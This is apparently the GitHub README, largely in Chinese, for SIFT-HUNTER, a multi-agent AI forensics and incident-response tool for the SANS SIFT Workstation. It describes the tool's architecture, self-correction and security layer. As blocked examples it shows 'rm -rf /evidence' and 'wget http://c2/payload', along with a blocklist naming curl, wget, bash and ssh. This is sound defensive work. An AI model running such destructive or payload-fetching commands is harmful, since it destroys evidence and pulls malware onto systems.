svaka2000/SIFT-HUNTER
GitHub: svaka2000/SIFT-HUNTER
基于LangGraph多Agent架构的自主数字取证与应急响应系统,在SIFT Workstation上实现磁盘和内存证据的自动化分析、幻觉检测与结构化报告生成。
Stars: 1 | Forks: 0
# SIFT-HUNTER 🎯
**针对 SANS SIFT Workstation 的自主 AI 事件响应**
[](#testing)
[](docs/EVALUATION.md)
[](https://sift-hunter-dashboard.vercel.app)
[](#)
[](#)
[](#architecture)
SIFT-HUNTER 是一个自定义 MCP 服务器 + 多 Agent 编排系统,能够自主分析磁盘镜像和内存捕获,自我纠正其发现,映射到 MITRE ATT&CK,并生成结构化的事件报告 —— 所有这些都在 SANS SIFT Workstation 上完成。
## 快速开始 (SIFT Workstation)
```
# 一键安装
curl -sSL https://raw.githubusercontent.com/svaka2000/SIFT-HUNTER/main/install.sh | bash
# 或手动安装
git clone https://github.com/svaka2000/SIFT-HUNTER.git && cd SIFT-HUNTER
pip install -e .
# 设置你的 API key(Groq 免费且快速)
export GROQ_API_KEY=your_key_here
# 或:export ANTHROPIC_API_KEY=your_key_here
# 运行分析
sift-hunter analyze /path/to/evidence/*.dmp /path/to/mft_export.csv
# 检查某个命令是否会被 security layer 允许
sift-hunter check "rm -rf /evidence" # → BLOCKED
sift-hunter check "MFTECmd -f mft.csv" # → ALLOWED
# 将一个 finding 追溯到其 evidence
sift-hunter audit F-abc12345
```
## 架构
```
┌─────────────────────────────────────────────────────────────────┐
│ SIFT-HUNTER │
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Multi-Agent Orchestrator (LangGraph) │ │
│ │ │ │
│ │ ┌────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │
│ │ │Triage │→ │Disk │→ │Memory │→ │Correlat- │ │ │
│ │ │Agent │ │Analyst │ │Analyst │ │or Agent │ │ │
│ │ └────────┘ └──────────┘ └──────────┘ └────┬─────┘ │ │
│ │ │ │ │
│ │ ┌─────▼──────┐ │ │
│ │ ◄────── SELF-CORRECTION ◄────── │ Verifier │ │ │
│ │ (routes back to analysts │ Agent ⭐ │ │ │
│ │ if issues found) └─────┬──────┘ │ │
│ │ │ │ │
│ │ ┌─────▼──────┐ │ │
│ │ │ Reporter │ │ │
│ │ │ Agent │ │ │
│ │ └────────────┘ │ │
│ └─────────────────────────────────────────────────────────┘ │
│ │ calls │
│ ┌─────────────────────────▼───────────────────────────────┐ │
│ │ Custom MCP Server (Pattern 2) │ │
│ │ │ │
│ │ ┌─────────────────────┐ ┌───────────────────────┐ │ │
│ │ │ Disk Forensics Tools │ │ Memory Forensics Tools │ │ │
│ │ │ • MFT (timestomping) │ │ • Volatility3 pslist │ │ │
│ │ │ • Prefetch (PECmd) │ │ • netscan (C2 detect) │ │ │
│ │ │ • Registry (RECmd) │ │ • malfind (injection) │ │ │
│ │ │ • USN Journal │ │ • hashdump │ │ │
│ │ │ • ShellBags (SBECmd) │ └───────────────────────┘ │ │
│ │ │ • Timeline (plaso) │ │ │
│ │ │ • Sleuth Kit (fls) │ ┌───────────────────────┐ │ │
│ │ └─────────────────────┘ │ Enrichment │ │ │
│ │ │ • MITRE ATT&CK (35+) │ │ │
│ │ ┌─────────────────────┐ │ • VirusTotal │ │ │
│ │ │ Security Layer ⛔ │ │ • AbuseIPDB │ │ │
│ │ │ • BLOCKED_BINARIES │ └───────────────────────┘ │ │
│ │ │ • ALLOWED_BINARIES │ │ │
│ │ │ • Path validation │ │ │
│ │ │ • Read-only enforced │ │ │
│ │ └─────────────────────┘ │ │
│ └─────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
```
### 为什么该架构能胜出
直接映射到 SANS FIND EVIL! 的评审标准:
| 评审标准 | SIFT-HUNTER 如何应对 |
|-------------------|------------------------------|
| **自主执行** | LangGraph 6-Agent pipeline 通过一条命令进行端到端运行;Verifier 无需任何人工干预即可自我纠正 |
| **IR 准确率** | **在标准的 `zeus.vmem` + `cridex.vmem` 内存样本上进行测量 - 100% 精确率 (precision) / 86% 召回率 (recall) / 0 误报 (false positives)** ([docs/EVALUATION.md](docs/EVALUATION.md),无需 key 即可通过 `python -m benchmarks.evaluate` 复现)。置信度标签将 CONFIRMED(已确认)与推断分开;真实的 Agent 运行记录见 [`sample_report.md`](benchmarks/cases/case001/sample_report.md) |
| **Hallucination 管理** ⭐ | 确定性检测器将每个 IOC 与原始工具输出进行交叉核对 - **实测捕获率 93% / 误报率 0%**,可通过 `python -m benchmarks.hallucination_benchmark` 复现 |
| **架构级防护** | ALLOWED/BLOCKED 二进制白名单 + 路径验证 + `shell=False`,通过 Python 强制执行,绝不依赖 prompt - **已进行绕过测试**(`tests/test_security_bypass.py`:20 次规避尝试,全部被拒绝) |
| **审计追踪** | JSONL 记录每一次工具调用、发现、纠正和状态转换 - `sift-hunter audit ` 可将任何断言追溯至原始证据 |
| **文档** | 一键安装,ARCHITECTURE / SECURITY / EVALUATION / ADDING_TOOLS 文档,244 个测试,不到 1 小时即可添加新的取证工具 |
## 自我纠正引擎
Verifier Agent 是最终的裁决者。它在每一轮分析后运行:
1. **自动化 Hallucination 检测** - 从发现结果的文本中提取实体(IP、EXE、注册表键、哈希值),在所有原始工具输出中搜索每一项。标记任何未找到的内容。
2. **LLM 语义验证** - 审查所有发现,检查置信度是否合适,检测是否存在矛盾。
3. **循环路由** - 发现问题 → 连同纠正指令一起路由回磁盘或内存分析器。没有问题 → 路由给报告生成器。
4. **安全阀门** - 每个发现最多进行 3 次纠正循环。迭代上限设为最大值的 60%,以防止死循环。
```
Example self-correction:
Disk analyst: "CONFIRMED - malware.exe present at C:\System32\malware.exe"
Hallucination detector: "malware.exe not found in MFT output"
Verifier: DOWNGRADE_CONFIDENCE → UNVERIFIED, route back to disk_analyst
Disk analyst re-runs: "POSSIBLE - suspicious file in temp, cannot confirm path"
Verifier: APPROVE
```
## 安全边界
MCP 服务器强制执行**架构级**(而非基于 prompt 的)安全措施:
- **ALLOWED_BINARIES**:显式的取证工具白名单(MFTECmd、PECmd、vol3 等),具有精确的许可 flag 集
- **BLOCKED_BINARIES**:`rm`、`dd`、`mkfs`、`wget`、`curl`、`bash`、`python`、`chmod`、`ssh` 以及 50 多个其他命令
- **路径验证**:禁止 `..`,禁止跟随 symlink,仅限配置好的证据根目录下的路径
- **只读强制执行**:严禁对证据目录进行任何写入操作 - 绝无例外
```
# 演示 guardrails
sift-hunter check "rm -rf /evidence" # BLOCKED: destructive binary
sift-hunter check "wget http://c2/payload" # BLOCKED: network access
sift-hunter check "MFTECmd -f mft.csv" # ALLOWED: forensic tool
```
## 安装
### 前置条件
- Python 3.11+
- SANS SIFT Workstation(用于实际的取证工具)或任何机器(用于分析预先导出的工件)
- 以下之一:`GROQ_API_KEY`(提供免费额度)或 `ANTHROPIC_API_KEY`
### 安装
```
# 从源码安装(未发布到 PyPI)
git clone https://github.com/svaka2000/SIFT-HUNTER.git
cd SIFT-HUNTER && pip install -e .
```
### 配置
```
export GROQ_API_KEY=gsk_... # Fast, free tier available
export ANTHROPIC_API_KEY=sk-ant-... # Fallback
# 可选调优
export SIFT_MODEL=llama-3.1-8b-instant # Override LLM
export SIFT_MAX_ITERATIONS=30 # Max analysis iterations
export SIFT_EVIDENCE_ROOTS=/cases # Allowed evidence paths
export SIFT_OUTPUT_ROOT=/tmp/sift-out # Report output path
```
## CLI 参考
```
sift-hunter analyze # Full autonomous analysis
sift-hunter server # Start MCP server
sift-hunter audit # Trace evidence chain
sift-hunter check # Test security layer
sift-hunter version # Print version
```
## 扩展 SIFT-HUNTER
请参阅 [docs/ADDING_TOOLS.md](docs/ADDING_TOOLS.md) 获取分步指南。添加一个新的取证工具只需不到 1 小时:
```
# 1. 将 binary 添加到 src/sift_hunter/mcp_server/security/allowlist.py 中的 ALLOWED_BINARIES
# 2. 创建 src/sift_hunter/mcp_server/tools/disk/mytool.py
# 3. 继承 BaseTool,实现 analyze() 和 find_suspicious()
# 4. 在 src/sift_hunter/mcp_server/registry.py 中注册
```
## 测试
```
pytest tests/ -v # All 244 tests - every one exercises the shipped src/ package
pytest tests/test_security_bypass.py -v # 20 guardrail bypass attempts, all refused
# 在标准的 zeus.vmem + cridex.vmem 样本上测量的准确率(无 API key)
python -m benchmarks.evaluate
# 复现测量的幻觉检测率(无需 API key)
python -m benchmarks.hallucination_benchmark
# 通过 detection engine 运行完整的样本事件(无 API key,无 SIFT binaries)
python -m benchmarks.detect_case benchmarks/cases/case001
```
## 项目布局
```
src/sift_hunter/
├── agents/ # Multi-agent orchestration (LangGraph)
│ ├── nodes/ # Triage, Disk, Memory, Correlator, Verifier, Reporter
│ ├── orchestrator.py
│ └── state.py
├── core/ # Models, audit, hallucination detection
├── mcp_server/ # Custom MCP server
│ ├── security/ # Allowlist, path validator, command sanitizer
│ └── tools/ # Disk, memory, enrichment wrappers
└── cli.py # Click CLI
```
*SANS FIND EVIL! Hackathon 2026 - 模式 2 (自定义 MCP Server) + 模式 3 (多 Agent 编排)*
标签:DLL 劫持, SANS SIFT, Sysdig, 大语言模型, 库, 应急响应, 数字取证, 自动化分析, 自动化脚本, 跨站脚本, 逆向工具